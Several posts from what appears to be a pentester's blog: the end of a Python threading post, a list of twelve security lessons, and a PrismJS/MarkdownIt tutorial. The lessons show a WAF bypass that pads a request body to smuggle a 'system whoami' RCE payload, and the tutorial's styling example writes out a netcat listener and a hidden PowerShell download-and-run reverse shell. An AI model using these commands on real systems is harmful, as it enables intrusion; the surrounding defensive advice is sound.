This is not a reliable way to integrate with the flow demonstrated in this post.

with concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor:
    futures = []
    for i in range(8):
        f = executor.submit(thread_function, i)
        futures.append(f)
    
    for f in concurrent.futures.as_completed(futures):
        try:
            f.result()
        except Exception as e:
            print(e)

        # Do other stuff? Not necessarily consistent or responsive though.

future.add_done_callback(). This fires a callback upon completion of each future. Does not block main thread. Result handling may not run in main thread.

Probably the "cleanest" way to integrate with the flow demonstrated in this post, unless you handle future.result() in a non-thread-safe manner, in which case... beware race conditions.

def callback(f):
    try:
        print(f.result())
    except Exception as e:
        print(e)

with concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor:
    futures = []
    for i in range(8):
        f = executor.submit(thread_function, i)
        f.add_done_callback(callback)
        futures.append(f)
    
    # Results get handled in the background!
    # Do other stuff...

Footnotes

feroxbuster, a popular pentesting tool, has interactive pause for runtime addition of filters and pruning of exploration paths. Quite useful for reducing false positives and saving time! ↩︎
Of course, it's possible to do the same with time.sleep by breaking the sleep into smaller pieces and looping. In fact, Python 2's implementation of event.wait() was exactly like that — a while loop calling time.sleep with tiny intervals. This turned out to be inefficient (by acquiring the GIL repeatedly) and caused a few bugs. In Python 3, event.wait() is properly implemented in C with interrupts! Check out this SO answer for more gory details. ↩︎

12 Days of Christmas – Reflections from a Pentester

2024-12-25T00:00:00Z

Over the past year, I've been pentesting various systems, diving into a variety of web apps, mobile apps, IoT devices, desktop apps, and the occasional Active Directory network. Some were ancient projects wielding unmaintained code. Some were using popular modern tech stacks. Each software was unique, but a lot were plagued by common issues.

So to end this year, I thought it would be nice to reflect on the technical shenanigans I've experienced, and to share some observations with the IT industry. In this post, I’ll present 12 observations/tips to help you secure your systems, supplemented by anecdotes from breaking terrible software. We'll go from non-technical comments to more technical bugs. (But not too technical, I promise, I'll save those for other posts.)

Disclaimer: All examples included below are based on examples from real-life penetration tests, but details have been fudged to protect confidential information ~~and ensure I don’t get fired~~. No mention/screenshots of the original targets are included.

Humans (and processes) are the weakest link

Here's a great quote by a well-known cybersecurity professional:

People often represent the weakest link in the security chain and are chronically responsible for the failure of security systems.
- Bruce Schneier

While this is a common occurrence with phishing attacks, sometimes I think this puts too much responsibility on humans. It's also crucial to develop processes to counter threats at the macro/institutional level, rather than just the micro level.

Let's start by busting a myth.

1. Myth: Modern tech is secure and bug-free

Modern tech is secure and bug-free. A modern language/library/framework will handle security for us.

Wrong! Modern tech isn't immune to security issues, let alone bugs. It may employ more secure design principles, but that doesn't eliminate every single class of security issues.

Here are a few examples:

I’ve witnessed Vue, React, and NextJS apps riddled with bugs, including broken logic, broken authentication, and injection vulnerabilities. (ChatGPT? Is that you?)
HTMX, if used improperly, exposes an app to cross-site scripting (XSS). This issue is further compounded by forcing unsafe-eval in your site's Content Security Policy.
Rust has its fair share of deserialisation and integer overflow issues.

Using modern technology is not an excuse to eliminate security programs.

But why is software still insecure even though the tech is new?

2. An application is as secure as its weakest link

A common saying in cybersecurity goes like this:

Attackers only have to be right once. Security teams need to be right all the time.

This isn’t exactly true, depending on how you apply defences and controls; but it does highlight how a single weak link compromises security, bypassing the hard work applied elsewhere.

^{Remember Log4Shell? Such an exciting Christmas.}

Ultimately, this comes down to humans and processes.

Humans.
- Many breaches start from an innocuous phishing email. A couple of clicks is all it takes to compromise a computer.
- Insufficient training and cybersecurity awareness may lead to poor security practices, such as storing passwords in plain text or using weak passwords.
- Driven by looming deadlines and milestones, devs may inadvertently overlook logical aspects, resulting in buggy software. Despite the advancements of modern technologies and AI, the human factor remains a fundamental component in software development.
Processes. These are your workflows, CI/CD pipelines, monthly access reviews, etc.
- Arguably, processes are also a human problem stemming from inadequate management and supervision. We humans are prone to forgetfulness, particularly when guidelines are communicated verbally rather than documented in writing. This underscores the significance of establishing structured processes.
- Absence of a dependency management and maintenance process allows vulnerable components to linger in your codebase like a festering wound. Unmaintained code and technical debt pile up, ever-increasing the risk of a system. Consider using Software Component Analysis (SCA) to automate dependency checks.
- Absence of DevSecOps and security in the Software Development Lifecycle (SDLC) increase the presence of easily exploitable vulnerabilities. These bugs, often considered low-hanging fruit, are favoured by ransomware groups seeking quick exploits. By using automated tools such as Static/Dynamic Application Security Testing (SASTs and DASTs), you can identify common bugs and thus enhance your application's security posture.
- Lack of continuous auditing and oversight may inadvertently lead to breaches. Don’t be surprised when your legacy test accounts bite you in the butt!

You want your application secured? Invest in your talent. Review code. Improve your processes. Stay humble.

3. Copy and Paste invites Disaster

^{"Hi Disaster, I'm Paste! How do you do? And this is my friend Copy. We're so excited to work with you on this project and create great impact together!"}

One recurring joke among programmers is “code is often copy and pasted”. As it turns out, this can lead to severe consequences.

Example: CMS

One time I came across a custom CMS with two roles (admin and user) and encountered the following endpoints:

An admin endpoint which saves a draft, but optionally allows publishing by setting "publish": true.

POST /api/v1/admin/post/save HTTP/1.1
Host: redacted.com
Authorization: Bearer <admin token>
Content-Type: application/json
Content-Length: XXX

{
    "id": 5,
    "content": "The quick brown fox jumps over the lazy dog.",
    "publish": true
}

A similar endpoint which only allows normal users to save a draft.

POST /api/v1/user/post/save HTTP/1.1
Host: redacted.com
Authorization: Bearer <user token>
Content-Type: application/json
Content-Length: XXX

{
    "id": 6,
    "content": "But the dog retaliated and jumped over the brown fox!"
}

By design, all publishing should be done by the admin, normal users shouldn’t have rights to publish (hence, no publish parameter by default).

On a whim, I copied the "publish": true parameter to /user/post/save.

POST /api/v1/user/post/save HTTP/1.1
Host: redacted.com
Authorization: Bearer <user token>
Content-Type: application/json
Content-Length: XXX

{
    "id": 6,
    "content": "But the dog retaliated and jumped over the brown fox!",
    "publish": true
}

Oops, disaster! The post got published! It's apparent both endpoints use the same underlying logic. The publish parameter should have only been implemented for admins. The implications are somewhat severe, if you have user access — say an intern, a secretary, or a test account — you could bypass the usual approval process and publish something damning like “Megacorp is Filing for Bankruptcy!”.

_(collapse)

This is just one illustration of the dangers of copy-and-paste. I’m sure there are graver examples out there.

General comments

During my pentesting experience, I observed countless poor designs, but also some well-hardened ones! Here are three such observations, generalised and applicable across the industry.

4. Encapsulation is good for security

In software engineering, encapsulation refers to the practice of bundling data and methods within a class, allowing for better access control over data and preventing unintended modifications. In most object-oriented programming languages, you control access by declaring functions to be public (callable by anyone) or private (callable within the class).

C++ Example

As a recap, here's an example of a BankAccount class in C++. Notice how we applied encapsulation by restricting modifications to the balance. We’re not allowed to multiply it, bitshift it, or dereference it. We can only deposit and withdraw (with certain restrictions).

#include <iostream>
using namespace std;

class BankAccount {
private:
    int accountNumber;
    double balance;

public:
    BankAccount(int num) : accountNumber(num), balance(0) {}

    void deposit(double amount) {
        balance += amount;
        cout << "Deposit of $" << amount << " successful." << endl;
    }

    void withdraw(double amount) {
        if (amount > 1000) {
            cout << "Withdrawal limit exceeded. Maximum withdrawal amount is $1000." << endl;
        } else if (balance - amount < 0) {
            cout << "Insufficient funds. Withdrawal not allowed." << endl;
        } else {
            balance -= amount;
            cout << "Withdrawal of $" << amount << " successful." << endl;
        }
    }

    void displayAccountDetails() {
        cout << "Account Number: " << accountNumber << endl;
        cout << "Balance: $" << balance << endl;
    }
};

int main() {
    BankAccount myAccount(123456);
    myAccount.deposit(500);  // Balance: 500
    myAccount.withdraw(200); // Balance: 300
    myAccount.withdraw(800); // Error: insufficient funds.
    myAccount.displayAccountDetails();
    return 0;
}

If our balance was public, what stops programmers who use this class from accidentally setting the balance to a negative number?

_(collapse)

This enhances security by restricting direct access to sensitive information and promoting a more structured software design. By encapsulating components, you hide potentially vulnerable states and separate interactions between components.

Encapsulation is generally well-understood in computer programs, but less so from a systems design or software architecture perspective.

Here are some interesting examples of encapsulation I've observed.

In a recent pentest, we managed to find an SQL injection vulnerability to a PostgreSQL database. In MySQL and SQL Server, we can access other databases by calling use xyz; or select * from xyz..table. But — from my limited understanding — PostgreSQL doesn’t allow access to other databases. Theoretically, this means devs can logically segregate data while reaping security benefits. For instance, compromising a config database won't impact the users database.

There are workarounds to bypass this restriction, but I think this is a good first step towards designing secure encapsulated systems, and I really hope we can see more of this across the IT (and OT¹) industry.
Common in regulated industries (such as finance) is the segregation of customer identification data, i.e. personal information such as name, ID number, phone number, home address, and email address. These may compromise a customers' privacy if leaked. Customer data should be encapsulated in a separate database with strong encryption and access control.
During several network pentests, we discovered poorly encapsulated systems with public read/write access. To make things worse, access control was neither available nor considered at the design level (i.e. there was no config option to flip), so there wasn't much to do except apply preventative/detective controls.

5. What a programmer finds useful, an attacker (often) will too

If you will, another story. During a penetration test, we encountered a very old piece of software with debug functions allowing the user to print arbitrary information (such as variables and the program stack) from the server. Understandably, tooling during Programming Antiquity wasn't great, so the developers came up with this function to aid sysadmins in reporting and troubleshooting. However, this function proved alarmingly insecure, allowing us to access and read all user passwords (including admins!) with ease. Additionally, the password for regular users was predictably simple, allowing one to swiftly escalate from zero to admin...

^{Footguns come in many forms.}

Awareness is better these days, but insecure practices are still common. Leaving behind debug mode could save a day's worth of triaging, but it could also disclose file paths and source code (very valuable for web attacks)! We see this elsewhere too. Web developers forget to remove source maps. Embedded engineers leave behind UART ports.

Any tools left behind can be used for both good and malicious purposes. After all, devs and cybersecurity specialists have overlapping toolsets, think: gdb, browser devtools, logic analysers, and rubber duckies. But sometimes the risk of malicious use outweighs the convenience.

Here are some common conveniences which can really bite you in the butt:

Leaving an admin page or internal app open to the public internet. This is hella convenient because then you can login from anywhere. But it's not very secure because... you can login from anywhere! Attackers can use the login page to brute-force usernames and potentially gain access.
Information and version disclosures. These are things like error messages, swagger API pages, and version numbers. As we'll see later, this can expedite attacks.
Using default or weak passwords for ease of remembering. While convenient, weak passwords are more susceptible to brute force attacks and unauthorised access.

The first step to breaking an application is to find out what it uses and what it does. On the flip side, the first step to securing your production environment is to strip out debug functionality and enable secure configurations. And sometimes this requires sacrificing convenience for security.

6. Assume breach

This is one of those mindsets to promote security in the Software Development Lifecycle (SDLC). This is meant to complement, rather than replace, ideas such as "Shift Left".

In red teaming (Active Directory pentesting) scenarios, we often "assume breach", by simulating scenarios where 1) attackers have successfully broken in (via phishing, exploits, or physical connections), or 2) there is an impostor (aka malicious insider) among us! Often, we find businesses have insufficient oversight into their network.

Breaches are a stark reality in today's cybersecurity landscape. Instead of assuming that a segregated network is impenetrable, apply defence-in-depth and set appropriate security controls.

Software components and the supply chain

The events this year (2024) highlight how third-party components and underlying infrastructure (dubbed "the supply chain") can pose heavy risks to security. Let's have a quick recap:

Microsoft Exchange Online breached - disclosed January 2024 - impacted numerous organisations, e.g. Hewlett Packard
The xzutils backdoor - February 2024 - would have potentially affected millions of SSH installations, if not discovered in time
Polyfill.io Supply Chain Attack - June 2024 - domain purchase + delivery of malicious scripts via CDNs affecting 100K+ sites (potentially billions of users)
The CrowdStrike incident (non-malicious and unintentional) - July 2024 - impacted 8.5 million Windows computers, caused massive disruptions to airports and financial services
Compromised network infrastructure in the US - disclosed October 2024 - confidential communications leaked, further impact to be determined?

^{What? Dependencies can be hacked? Adapted from XKCD #2347 - Dependency}

Amidst this chaos, I think there's something we can pick out and learn from these incidents:

Why do we even use a supply chain?
Safeguard your supply chain.
Be sceptical of your supply chain.

Let's start by justifying supply chains with a common piece of advice.

7. Don't roll your own auth

...unless you know what you're doing! This is old news to some. Here, auth refers authentication, such as registration, login, federated logins (e.g. OAuth, SSO), and — to some extent, access control. There are reasons for and against developing a custom auth. Let's go through them very quickly:

Reasons to roll your own auth:

Customization: Off-the-shelf solutions may not always meet your needs and requirements.
Ownership: You want to take responsibility for your own security and not be reliant on third-party systems.

Reasons to not roll your own auth:

Security: Developing a secure authentication system demands a high level of understanding potential security vulnerabilities.
Time and Resources: Building a custom, fully-tested system can be time-consuming and resource-intensive.
Maintenance: Custom solutions require maintenance in the wake of evolving security threats and business requirements.

I've seen teams happily roll their own auth just to fail miserably when we discover a ton of unexpected security issues. Sure, custom implementations may be needed; but most of the time, you should opt for a mature, battle-tested library. Even then you should be aware of what features those libraries offer and configure proper defaults.²

To give you a taste of the complexity of auth security, here are a slew of test cases we consider when dealing with auth and access control:

Does your system rate-limit requests? Many controls can be bypassed by brute force.

^{5,427 iterations in: first try!}

Is your input properly checked and sanitised?
In a multistep registration process, do you check whether the previous registration steps have completed?
Can your JWTs be tampered with? Is a strong key used?
Are your access tokens invalidated after logout? Are your refresh tokens invalidated after a refresh?
Do you properly hash and store your secrets?
Are permissions properly checked?
Is your database properly configured?

When you roll your own auth, you don’t just deal with “auth issues”. You need to deal with logic issues, session handling, cryptographic issues, injection issues, and other potential attacks. The inherent complexities compel many teams to avoid reinventing the wheel.

This doesn’t apply only to auth. In general, any complex system will have a myriad of test cases. The common saying is: if it’s mission-critical, build it yourself.³ Otherwise, is the complexity really worth it?

8. Patch your systems

Earlier, we mentioned that using mature, battle-tested components tends to be more secure and convenient compared to reinventing your own from scratch.

But the flipside to this is: dependencies are also an attack surface. This is evident from the recent supply chain attacks and incidents.

Is rolling your own auth better? Is using a third-party component better? There’s no clear right or wrong answer. This will depend on your situation, your business strategy, your manpower, and ultimately the risk you’re willing to take. Either way, upholding a robust security posture is essential for the long-term success of any project.⁴

Previously, we discussed processes to reduce the risk of supply chain attacks, such as dependency management and SCA. Relevant to this discussion is: Should you automatically apply patches/updates? Here's the breakdown:

If you don’t auto-apply updates... Your system is stable, but you risk exposing yourself to critical issues in the long term, unless you manually update. (Decent strategy for production-critical systems, such as life-support at a hospital?)
If you auto-apply updates... You get the latest features and security fixes, but you risk ingesting a supply chain attack (like xzutils). Even so, a patch for that attack will be auto-applied. (Good strategy for high-risk items with many vulnerabilities like routers, your OS, your browser.)

For this site (static site generator with npm dependencies), I use a hybrid approach by auto-applying minor updates but manually upgrading + testing major updates.

9. Don't (solely) rely on WAFs

You think WAFs will protect your smelly derelict backlogged spaghetti codebase? Think again.

Example: WAF did not protect against RCE.

One time I was pentesting a PHP web app using an outdated web framework. I quickly discovered the framework version and proceeded to execute RCE exploits available on the web. Unfortunately, the WAF blocked payloads based on common keywords: system, phpinfo, fopen. To bypass their denylist, I could try different PHP functions... but there’s a much easier trick.

Most WAFs, to enhance performance, will ignore request bodies with body lengths above a certain limit. This means we can smuggle malicious payloads in plain sight by simply adding a big fat parameter.

Before:

POST /foo HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 26

function=system&arg=whoami

After:

POST /foo HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 9000

function=system&arg=whoami&bigfatparameter=AAAAAAAA...8000+ characters...AAA

The result? We were able to bypass the WAF, execute commands, noodle around the filesystem, read source code, and more.

_(collapse)

Simply applying a WAF is ineffective unless other countermeasures such as regular patches, logging, and monitoring are also applied.⁴

Common bug classes

Apart from buggy auth and vulnerable components, there are a few other bug classes I frequently encounter in the realm of web and mobile applications:

Injection Bugs (SQL injection, XSS, template injection)
Information Disclosure (versions, file paths, error messages)
Logic/Design Bugs (Business Logic, Race Conditions)

These aren't the only bugs in the wild, but they're worth pointing out as I seem to encounter these in almost every application I test.

10. String concatenation considered dangerous /s

^{Strings, amirite?}

Despite its diminishing presence, injection vulnerabilities are still a dangerous, prevalent class of bugs. This includes vulnerabilities such as SQL injection (SQLi) and cross-site scripting (XSS). Discovery and exploitation techniques are widely documented and understood, underscoring the significant risk these vulnerabilities can have on application security.

Let's address some concerns:

How do injection issues arise?
- Typically, they arise when accepting unsanitised text fields and query parameters in HTTP requests. For example:
  - search function on a website (SQLi)
  - logging of user agents and parameters (SQLi)
  - trusting (failing to sanitise) a URL parameter (XSS)
  - Web 2.0 user content submission, e.g. comments, posts (SSTI)
  - many more subtle cases!
- Generally, using allowlists are better than denylists. Instead of preventing quotes in an address field, allow only letters, numbers, spaces, and commas.
Can an application still be vulnerable to SQLi attacks even if the backend does not directly return database values in the response?
- Yes. Attackers can exfiltrate data through other means, such as...
  - error-based techniques, i.e. stringifying data in an error message (very commonly overlooked);
  - blind techniques, i.e. checking the status code, response body, or response time; and
  - out-of-band techniques, i.e. checking DNS/HTTP requests.
What are some ways to protect against injection issues? Here are some good examples I’ve observed:
- Input Validation
  - Numbers should be validated. Strings should be escaped. Enums should be validated against an allowlist.
  - Don't trust user/database values. Sanitise user content to be inserted into HTML with sanitisers such as DOMPurify. This is especially crucial for CMSs and chatrooms.
- Parameterized Queries
  - Use parameterized queries in database interactions to prevent SQL injection attacks. This approach separates SQL code from user input, reducing the risk of malicious code execution and data leaks.

11. Knowledge is power

Information disclosure is a severely underestimated issue with the potential to accelerate attacks.

What might a typical hacking scenario look like? With thousands of exploits and vulnerabilities out there, I have no idea where to start. So I'll start by narrowing the possibilities. What tech are you using? What libraries, frameworks, versions? If I know all this, I can narrow my search drastically.

^{It's a lot easier to hunt for exploits when you know the target systems.}

In one scenario, we obtained remote code execution (RCE) within an hour, simply because a version disclosure expedited our search for exploits. It probably would have taken days otherwise.

Here are some good tips to consider:

Instead of showing version information publicly, consider hiding it behind authentication. This means
- An attacker won't immediately have the version. They'd need valid credentials first, which can be a pain if safeguarded appropriately.
- An actual admin will still be able to access that version information after login. It's just a couple extra steps.
Disable "debug mode" in production.
Response headers! Don't return:
```
HTTP/1.1 200 OK
Server: Apache/2.4.49
```
HTTP
Rather, return:
```
HTTP/1.1 200 OK
Server: Apache
```
HTTP
Or better yet, don't include the software framework at all! For instance, AWS’s load balancer will return Server: awselb.

12. Elementary, dear Watson

Logic is the essence of software. Unfortunately, security flaws often arise from broken logic.

Business Logic Bypasses: These are bugs like: reusing a coupon, bypassing the chain of approval, bypassing a limit. Imagine how many more bugs there would be, with the "help" of AI.
Race Conditions: Popularised last year by PortSwigger's whitepaper "Smashing the state machine", these are subtle bugs which exploit concurrency issues or vulnerable "substates" (i.e. a request may alter the application state multiple times). Fixes could be anything from redesigning SQL schemas to shuffling a few lines of code.

These vulnerabilities tend to bypass controls such as:

permissions and access control ("only admins are allowed to do XYZ", but it turns out normal users can too!) and
limits ("only three books can be checked out from the library at a given time", but this was only enforced in the client-side JS!).

Most scanners don't tend to catch these, since business logic is unique to each environment. The impacts can be benign or severe. Maybe extra upvotes aren't too harmful. But a user gaining admin access is.

If you're interested in seeing a Business Logic Bypass story, you can read the example in Copy and Paste Invites Disaster.

tl;dr and takeaways

Modern tech can still be insecure. This can be attributed to human factors and procedural gaps and can be addressed by training and better management. Use strong and memorable passwords. Write and automate tests.
When architecting systems, consider encapsulating components to enhance access control.
Knowledge is power; don't expose too much information. Value your privacy. Sometimes sacrificing convenience is essential to safeguarding your data.
All software components carry inherent risks.
- For in-house components, understand the potential security risks and ensure thorough testing is performed.
- For external libraries and components, regularly monitor for updates and patch security issues.
Assume breach, apply defence-in-depth. Don't rely on an "outer shield" to protect your internal environment.
Pay attention to common issues which plague applications, such as injection, information disclosure, and logic bugs.
Keep going and never give up.

Footnotes

OT, Operational Technology, are devices which typically involve physical actuators. Some network protocols in this industry lack security and have catching up to do. ↩︎
You could also consider using a third-party service, but this may open a whole can of worms involving privacy/compliance (muh data got sent WhErE?!?, and it's stored WhErE?!?), UX (why did I redirect?), and more. ↩︎
For instance, Cloudflare builds its own infrastructure and proxy because it’s critical to their network. ↩︎
Adjust for risk accordingly, if that’s your thing. ↩︎ ↩︎

How to Use PrismJS Plugins with NodeJS and MarkdownIt

2024-11-03T00:00:00Z

With over 7 million weekly downloads on NPM, PrismJS is one of the most widely used code highlighting packages in JavaScript, lauded for its unparalleled extensibility through plugins. But one recurring issue plagues developers: most plugins require a DOM! Fancy plugins such as command-line, line-numbers, and the toolbar suite require a DOM to manipulate HTML. This isn't normally possible in runtime environments such as Node, which aren't designed to render UIs, hence, no DOM.

In this post, I’ll demonstrate a few simple changes to easily coerce these plugins into compatibility with NodeJS and MarkdownIt, a popular markdown renderer.¹

Why enhance codeblocks?

Simple codeblocks suffice for most writers who need supporting text with pretty colours. But maybe you want your codeblocks to simply look flashier. Or maybe you want better tools to tell a story!

To tell a good story, the characters, plot, and location need to be clear to the audience. Similarly, blog posts and tutorials benefit from enhancements such as command-line demarcations, line numbers, labels, and inline markup.

There are many cases where such codeblocks are warranted (brackets contain remedial plugins):

Interaction: input and output should be contrasted, think: shell or Jupyter notebook (command-line)
A post compares or demonstrates a technique in multiple languages (show-language)
Code is executed in multiple, distinct environments (command-line, label)
A post refers to a code snippet within a large file (line-numbers)
A post refers to multiple files (label)

Example: Catching Reverse Shells (Labels and Command-Line)

This is really useful when presenting narratives for red teaming scenarios, where multiple machines are involved.² Here are some simple notes on catching a reverse shell from a Windows machine.

Get our IP.

ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
    inet 192.168.100.100  netmask 255.255.255.0  broadcast 192.168.100.255
    ...

Listen for incoming connections on port 4444.
```
nc -nlvp 4444
```
Attacker
Shell

Download and execute Invoke-PowerShellTcp on the victim.

powershell -nop -w hidden -c "iex (New-Object Net.WebClient).DownloadString('http://192.168.100.100/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.100.100 -Port 4444"

It's clear that our character shifts from Scene 1 to Scene 2, with less sentence clutter.

_(collapse)

Another problem I notice on many documentation pages is the use of $, denoting the start of a new command on a shell. These are poor for a couple reasons: it doesn't accurately present the actual code (from both the writer's and readers' PoV) and may disrupt syntax highlighters.

Example: The Obstructive $ (Command-Line)

These are commonly seen in installation scripts or guides. Here's an example installing a Makefile-based project:

$ tar -xvzf who_doesnt_like_to_copy_lines_of_code_one_by_one.tar.gz
$ cd who_doesnt_like_to_copy_lines_of_code_one_by_one
$ ./configure
$ make -j4
$ make install

Atrocious! You can't copy multiple lines without the nasty $ getting in the way! What terrible UX. It's like when your parent or sibling stands in front of the television!³

Compare it to this:

tar -xvzf who_doesnt_like_to_copy_lines_of_code_one_by_one.tar.gz
cd who_doesnt_like_to_copy_lines_of_code_one_by_one
./configure
make -j4
make install

_(collapse)

With that small rant out of the way, let's begin!

Step 1: Expose a DOM API

To make Node seem like a browser, we want to introduce document and window globals. These are the two keys variables used by Prism to manipulate HTML. window isn't really called; it's mostly for UI behaviour. document, however, is used rather heavily.

This could have adverse effects on libraries which use unified code for both browser and runtime environments. Introducing document and window might have unintended spillover effects... In most cases though, this shouldn't break anything.

The easiest solution is to glue a DOM manipulation library such as JSDOM or domino, and create global window/document variables. I’ve chosen to use domino since it renders codeblocks much faster than JSDOM, with zero additional dependencies.

npm install domino

const domino = require('domino');
global.window = domino.createWindow('');
global.getComputedStyle = global.window.getComputedStyle;
global.document = global.window.document;

NodeJS's global object enables us to add global variables. Now Prism can access our window and document globals.

For convenience later, we’ll also create a function which converts HTML strings to DOM objects. We'll use the template element to achieve this.⁴

function textToDOM(text) {
  const templ = document.createElement('template');
  templ.innerHTML = text;
  return templ.content;
}

Step 2: Override MarkdownIt Fence Rendering

While MarkdownIt works great out-of-the-box, the default rendering rules for code blocks are inherently incompatible with most Prism plugins. MarkdownIt's renderer passes text as input to an arbitrary highlight function, but Prism’s full-featured highlighting expects a DOM Element node. They don't speak the same language!

Prism has two primary highlight functions: Prism.highlight and Prism.highlightElement. Most server-side libraries are happy to use the former. But a lot of hooks aren't called by .highlight, so we'll also have to customise the renderer to call .highlightElement.

We'll reference MarkdownIt's default fence rule and customise it accordingly.

The code presented below will override the .renderer.rules.fence rule completely, overwriting any previous implementations.

If you use another plugin which reuses the fence rule (e.g. markdown-it-prism), consider calling code in this order: 1) the below fence-override code, 2) other code. This way no code is overwritten and lost.

Here are the changes we'll make:

Remove the default text-based highlighting options.highlight. We still need to escape the HTML because we'll substitute it in a HTML string.
(Optional, if you want diff support.) Handle diff-* languages by loading the right language.
Wrap the escaped code in <div><pre><code> with the right attributes⁵, convert it to a DOM element, highlight it to Prism.highlightElement, then return the rendered HTML.
We also moved the attributes to <pre> instead of <code>, which is required for PrismJS to function properly.

The most important part is step 3, where we call Prism magic with .highlightElement.

 markdownit.renderer.rules.fence = function (tokens, idx, options, _env, slf) {
   ...
+  const result = `<div><pre${preAttrs}><code class="${codeClasses}">${escaped}</code></pre></div>`
+  const el = textToDOM(result)
+  Prism.highlightElement(el.firstChild.firstChild.firstChild)
+  return el.firstChild.firstChild.outerHTML
   ...
 }

See Full Changes

 markdownit.renderer.rules.fence = function (tokens, idx, options, _env, slf) {
   const token = tokens[idx];
   const info = token.info ? unescapeAll(token.info).trim() : '';
   ...
 
-  let highlighted
-  if (options.highlight) {
-    highlighted = options.highlight(token.content, langName, langAttrs) || escapeHtml(token.content)
-  } else {
-    highlighted = escapeHtml(token.content)
-  }
+  const escaped = escapeHtml(token.content) // 1
 
-  if (highlighted.indexOf('<pre') === 0) {
-    return highlighted + '\n'
-  }
 
   // If language exists, inject class gently, without modifying original token.
   // May be, one day we will add .deepClone() for token and simplify this part, but
   // now we prefer to keep things local.
   if (info) {
     const i = token.attrIndex('class')
     const tmpAttrs = token.attrs ? token.attrs.slice() : []
     
     if (i < 0) {
       tmpAttrs.push(['class', options.langPrefix + langName])
     } else {
       tmpAttrs[i] = tmpAttrs[i].slice()
       tmpAttrs[i][1] += ' ' + options.langPrefix + langName
     }
       
     // Fake token just to render attributes
     const tmpToken = {
       attrs: tmpAttrs
     }
 
+    // Make sure language is loaded. // 2
+    if (langName.startsWith('diff-')) {
+      const diffRemovedRawName = langName.substring('diff-'.length)
+      if (!Prism.languages[diffRemovedRawName])
+        PrismLoad([diffRemovedRawName])
+    } else {
+      if (!Prism.languages[langName])
+        PrismLoad([langName])
+    }
     
     // 3, 4
+    // Some plugins such as toolbar venture into codeElement.parentElement.parentElement,
+    // so we'll wrap the `pre` in an additional `div` for class purposes.
+    const preAttrs = slf.renderAttrs(tmpToken)
+    const codeClasses = options.langPrefix + langName
+    const result = `<div><pre${preAttrs}><code class="${codeClasses}">${escaped}</code></pre></div>`
+    const el = textToDOM(result)
+    Prism.highlightElement(el.firstChild.firstChild.firstChild)
+    return el.firstChild.firstChild.outerHTML
-    return `<pre><code${slf.renderAttrs(tmpToken)}>${highlighted}</code></pre>\n`
   }
 
   // 4
+  return `<pre${slf.renderAttrs(token)}><code>${escaped}</code></pre>\n`
-  return `<pre><code${slf.renderAttrs(token)}>${highlighted}</code></pre>\n`
 }

_(collapse)

If you're using an SSR framework or SSG, you'll need to first access the MarkdownIt object.

In 11ty, for instance, we can access it like so:

eleventyConfig.amendLibrary('md', mdLib => {
  mdLib.renderer.rules.fence = function (...) { ... }
});

Step 3: Use `markdown-it-attrs`

To add attributes to your codeblocks, introduce markdown-it-attrs to your MarkdownIt object.

You can now add attributes and classes to your codeblocks which will then be parsed by Prism.

For instance, this:

```js {data-label=hello.js .inspect-me-lol}
function hello() {
  console.log("Hello world!");
}
```

becomes:

function hello() {
  console.log("Hello world!");
}

In 11ty, markdown-it-attrs is incompatible with eleventy-plugin-syntaxhighlight due to the way codeblocks are parsed.

Step 4: (Optional) Modify Plugins

With those two changes, we have all we need to start importing fancy plugins!

In case you wish to fine-tune some plugins, you can always copy them into your local project and modify them directly! Some changes I made were:

modding line-numbers for compatibility with command-line and diff (Yes, this doesn't really make sense, but who knows if I'll need it in the future?)
modding show-language to display the base language when the highlight language is diff-*.

You can also add custom attributes with some simple CSS! For instance, I added a CSS class which hides the command-line prompt when a data-rw-prompt attribute is specified.⁶ This is useful for long prompts, which may cover the entire screen's width when scrolling on a phone.

@media (max-width: 576px) {
    /* rw-prompt: response width prompt */
    pre[data-rw-prompt] .command-line-prompt {
        display: none;
    }
}

And here it is in action on some notes. Try viewing on both mobile and computer (or use your browser DevTools).

Get-DomainTrust -domain dollarcorp.moneycorp.local

SourceName      : dollarcorp.moneycorp.local
TargetName      : moneycorp.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional
WhenCreated     : 11/12/2022 5:59:01 AM
WhenChanged     : 9/25/2024 10:12:06 PM

Benchmarking DOM Libraries

Understandably, one major bottleneck in our strategy is DOM manipulation. A suitable library needs to parse HTML fragments, manipulate DOM elements, and create new ones.

Although I originally selected JSDOM in my quick-n-dirty hack for its popularity, I later switched to domino for a significant (2x!) speedup. This is based on a simple benchmark, which compares the three most popular(?) NodeJS DOM-manipulation libraries: JSDOM, domino, and LinkeDOM.

^{Benchmark of time to render the ~400 codeblocks on this site with JSDOM, domino, and LinkeDOM. Lower time = faster.}

Library	Mean (ms)	Min. (ms)	Max. (ms)
JSDOM	583	492	1007
domino	265	227	477
LinkeDOM	280	214	666

Benchmark Details and CLI Output

The benchmark was run on a MacBook Air with a 1.6 GHz Intel Core i5 processor and 8 GB 2133 MHz LPDDR3 RAM. Benchmark code can be found here.

node eleventy/benchmarks/codeblocks
Running: JSDOM
[auto] Target 199 runs (~604ms/run) in 120s.
 --- [JSDOM] ---
 - 199 runs
 - mean: µ=582.964ms / σ=70.796ms
 - minmax: 491.888ms / 1007.477ms

Running: domino
[auto] Target 454 runs (~264ms/run) in 120s.
 --- [domino] ---
 - 454 runs
 - mean: µ=265.399ms / σ=42.418ms
 - minmax: 226.817ms / 476.795ms

Running: LinkeDOM
[auto] Target 444 runs (~270ms/run) in 120s.
 --- [LinkeDOM] ---
 - 444 runs
 - mean: µ=279.861ms / σ=69.691ms
 - minmax: 214.418ms / 666.151ms

_(collapse)

Moreover, domino has 0 dependencies — it's basically written from the ground up! JSDOM has 21 dependencies. A lower number of dependencies reduces the attack surface of an application; and with increasing reports of supply chain attacks, it's good to limit such risks.

